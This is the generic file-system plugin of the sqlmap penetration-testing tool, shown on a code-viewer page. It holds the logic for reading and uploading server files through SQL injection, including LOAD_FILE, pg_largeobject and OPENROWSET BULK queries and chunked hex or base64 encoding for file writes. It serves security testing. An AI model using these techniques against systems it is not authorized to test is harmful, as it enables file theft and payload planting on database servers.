Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/generic/filesystem.py
3555 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import codecs
9
import os
10
import sys
11
12
from lib.core.agent import agent
13
from lib.core.common import Backend
14
from lib.core.common import checkFile
15
from lib.core.common import dataToOutFile
16
from lib.core.common import decloakToTemp
17
from lib.core.common import decodeDbmsHexValue
18
from lib.core.common import isListLike
19
from lib.core.common import isNoneValue
20
from lib.core.common import isNullValue
21
from lib.core.common import isNumPosStrValue
22
from lib.core.common import isStackingAvailable
23
from lib.core.common import isTechniqueAvailable
24
from lib.core.common import readInput
25
from lib.core.compat import xrange
26
from lib.core.convert import encodeBase64
27
from lib.core.convert import encodeHex
28
from lib.core.convert import getText
29
from lib.core.convert import getUnicode
30
from lib.core.data import conf
31
from lib.core.data import kb
32
from lib.core.data import logger
33
from lib.core.enums import CHARSET_TYPE
34
from lib.core.enums import DBMS
35
from lib.core.enums import EXPECTED
36
from lib.core.enums import PAYLOAD
37
from lib.core.exception import SqlmapUndefinedMethod
38
from lib.core.settings import UNICODE_ENCODING
39
from lib.request import inject
40
41
class Filesystem(object):
42
"""
43
This class defines generic OS file system functionalities for plugins.
44
"""
45
46
def __init__(self):
47
self.fileTblName = "%sfile" % conf.tablePrefix
48
self.tblField = "data"
49
50
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
51
if Backend.isDbms(DBMS.MYSQL):
52
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
53
54
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
55
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
56
57
elif Backend.isDbms(DBMS.MSSQL):
58
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
59
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
60
61
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
62
63
try:
64
localFileSize = os.path.getsize(localFile)
65
except OSError:
66
warnMsg = "file '%s' is missing" % localFile
67
logger.warning(warnMsg)
68
localFileSize = 0
69
70
if fileRead and Backend.isDbms(DBMS.PGSQL):
71
logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
72
sameFile = True
73
else:
74
logger.debug("checking the length of the remote file '%s'" % remoteFile)
75
remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
76
sameFile = None
77
78
if isNumPosStrValue(remoteFileSize):
79
remoteFileSize = int(remoteFileSize)
80
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
81
sameFile = False
82
83
if localFileSize == remoteFileSize:
84
sameFile = True
85
infoMsg = "the local file '%s' and the remote file " % localFile
86
infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
87
elif remoteFileSize > localFileSize:
88
infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
89
infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
90
else:
91
infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
92
infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
93
94
logger.info(infoMsg)
95
else:
96
sameFile = False
97
warnMsg = "it looks like the file has not been written (usually "
98
warnMsg += "occurs if the DBMS process user has no write "
99
warnMsg += "privileges in the destination path)"
100
logger.warning(warnMsg)
101
102
return sameFile
103
104
def fileToSqlQueries(self, fcEncodedList):
105
"""
106
Called by MySQL and PostgreSQL plugins to write a file on the
107
back-end DBMS underlying file system
108
"""
109
110
counter = 0
111
sqlQueries = []
112
113
for fcEncodedLine in fcEncodedList:
114
if counter == 0:
115
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
116
else:
117
updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine)
118
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
119
120
counter += 1
121
122
return sqlQueries
123
124
def fileEncode(self, fileName, encoding, single, chunkSize=256):
125
"""
126
Called by MySQL and PostgreSQL plugins to write a file on the
127
back-end DBMS underlying file system
128
"""
129
130
checkFile(fileName)
131
132
with open(fileName, "rb") as f:
133
content = f.read()
134
135
return self.fileContentEncode(content, encoding, single, chunkSize)
136
137
def fileContentEncode(self, content, encoding, single, chunkSize=256):
138
retVal = []
139
140
if encoding == "hex":
141
content = encodeHex(content)
142
elif encoding == "base64":
143
content = encodeBase64(content)
144
else:
145
content = codecs.encode(content, encoding)
146
147
content = getText(content).replace("\n", "")
148
149
if not single:
150
if len(content) > chunkSize:
151
for i in xrange(0, len(content), chunkSize):
152
_ = content[i:i + chunkSize]
153
154
if encoding == "hex":
155
_ = "0x%s" % _
156
elif encoding == "base64":
157
_ = "'%s'" % _
158
159
retVal.append(_)
160
161
if not retVal:
162
if encoding == "hex":
163
content = "0x%s" % content
164
elif encoding == "base64":
165
content = "'%s'" % content
166
167
retVal = [content]
168
169
return retVal
170
171
def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
172
choice = None
173
174
if forceCheck is not True:
175
message = "do you want confirmation that the local file '%s' " % localFile
176
message += "has been successfully written on the back-end DBMS "
177
message += "file system ('%s')? [Y/n] " % remoteFile
178
choice = readInput(message, default='Y', boolean=True)
179
180
if forceCheck or choice:
181
return self._checkFileLength(localFile, remoteFile)
182
183
return True
184
185
def askCheckReadFile(self, localFile, remoteFile):
186
if not kb.bruteMode:
187
message = "do you want confirmation that the remote file '%s' " % remoteFile
188
message += "has been successfully downloaded from the back-end "
189
message += "DBMS file system? [Y/n] "
190
191
if readInput(message, default='Y', boolean=True):
192
return self._checkFileLength(localFile, remoteFile, True)
193
194
return None
195
196
def nonStackedReadFile(self, remoteFile):
197
errMsg = "'nonStackedReadFile' method must be defined "
198
errMsg += "into the specific DBMS plugin"
199
raise SqlmapUndefinedMethod(errMsg)
200
201
def stackedReadFile(self, remoteFile):
202
errMsg = "'stackedReadFile' method must be defined "
203
errMsg += "into the specific DBMS plugin"
204
raise SqlmapUndefinedMethod(errMsg)
205
206
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
207
errMsg = "'unionWriteFile' method must be defined "
208
errMsg += "into the specific DBMS plugin"
209
raise SqlmapUndefinedMethod(errMsg)
210
211
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
212
errMsg = "'stackedWriteFile' method must be defined "
213
errMsg += "into the specific DBMS plugin"
214
raise SqlmapUndefinedMethod(errMsg)
215
216
def readFile(self, remoteFile):
217
localFilePaths = []
218
219
self.checkDbmsOs()
220
221
for remoteFile in remoteFile.split(','):
222
fileContent = None
223
kb.fileReadMode = True
224
225
if conf.direct or isStackingAvailable():
226
if isStackingAvailable():
227
debugMsg = "going to try to read the file with stacked query SQL "
228
debugMsg += "injection technique"
229
logger.debug(debugMsg)
230
231
fileContent = self.stackedReadFile(remoteFile)
232
elif Backend.isDbms(DBMS.MYSQL):
233
debugMsg = "going to try to read the file with non-stacked query "
234
debugMsg += "SQL injection technique"
235
logger.debug(debugMsg)
236
237
fileContent = self.nonStackedReadFile(remoteFile)
238
else:
239
errMsg = "none of the SQL injection techniques detected can "
240
errMsg += "be used to read files from the underlying file "
241
errMsg += "system of the back-end %s server" % Backend.getDbms()
242
logger.error(errMsg)
243
244
fileContent = None
245
246
kb.fileReadMode = False
247
248
if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL):
249
self.cleanup(onlyFileTbl=True)
250
fileContent = None
251
elif isListLike(fileContent):
252
newFileContent = ""
253
254
for chunk in fileContent:
255
if isListLike(chunk):
256
if len(chunk) > 0:
257
chunk = chunk[0]
258
else:
259
chunk = ""
260
261
if chunk:
262
newFileContent += chunk
263
264
fileContent = newFileContent
265
266
if fileContent is not None:
267
fileContent = decodeDbmsHexValue(fileContent, True)
268
269
if fileContent.strip():
270
localFilePath = dataToOutFile(remoteFile, fileContent)
271
272
if not Backend.isDbms(DBMS.PGSQL):
273
self.cleanup(onlyFileTbl=True)
274
275
sameFile = self.askCheckReadFile(localFilePath, remoteFile)
276
277
if sameFile is True:
278
localFilePath += " (same file)"
279
elif sameFile is False:
280
localFilePath += " (size differs from remote file)"
281
282
localFilePaths.append(localFilePath)
283
elif not kb.bruteMode:
284
errMsg = "no data retrieved"
285
logger.error(errMsg)
286
287
return localFilePaths
288
289
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
290
written = False
291
292
checkFile(localFile)
293
294
self.checkDbmsOs()
295
296
if localFile.endswith('_'):
297
localFile = getUnicode(decloakToTemp(localFile))
298
299
if conf.direct or isStackingAvailable():
300
if isStackingAvailable():
301
debugMsg = "going to upload the file '%s' with " % fileType
302
debugMsg += "stacked query technique"
303
logger.debug(debugMsg)
304
305
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
306
self.cleanup(onlyFileTbl=True)
307
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
308
debugMsg = "going to upload the file '%s' with " % fileType
309
debugMsg += "UNION query technique"
310
logger.debug(debugMsg)
311
312
written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
313
elif Backend.isDbms(DBMS.MYSQL):
314
debugMsg = "going to upload the file '%s' with " % fileType
315
debugMsg += "LINES TERMINATED BY technique"
316
logger.debug(debugMsg)
317
318
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
319
else:
320
errMsg = "none of the SQL injection techniques detected can "
321
errMsg += "be used to write files to the underlying file "
322
errMsg += "system of the back-end %s server" % Backend.getDbms()
323
logger.error(errMsg)
324
325
return None
326
327
return written
328
329